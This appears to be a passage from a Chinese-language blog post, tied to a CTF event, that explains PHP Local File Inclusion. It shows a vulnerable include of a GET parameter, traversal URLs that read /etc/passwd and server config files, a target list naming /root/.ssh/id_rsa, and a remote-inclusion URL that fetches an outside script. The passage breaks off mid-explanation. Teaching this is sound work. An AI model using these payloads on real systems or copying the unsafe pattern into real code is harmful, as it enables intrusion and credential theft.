今天是 Balsn CTF 開打囉,對 CTF 有興趣的人,歡迎參加這場活動!
來談談寫網站的時候你都怎麼讀檔案
如果你在 PHP 當中使用 include , include_once, fopen, file_get_contents, require, require_once
你可是要小心的
LFI 全名叫做 Local File Inclusion
他可以任意透過路徑讀取系統敏感的檔案
比如說
<?php
$page = $_GET['p'];
include($page);
正常可能是這樣demo.feifei.com.tw/?p=index.php
情境一
那假設我們 include 其他頁面呢demo.feifei.com.tw/?p=../../../../etc/passwd
情境二
或是demo.feifei.com.tw/?p=https://hack.feifei.com.tw/hack.php
在情境一當中
我們讀取的是 Linux 中很重要的檔案
我們也可以讀取一些設定檔
apache2 設定檔
/etc/apache2/apache2.conf
nginx 設定檔
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default.conf
/root/.ssh/id_rsa
或是環境變數
在情境二當中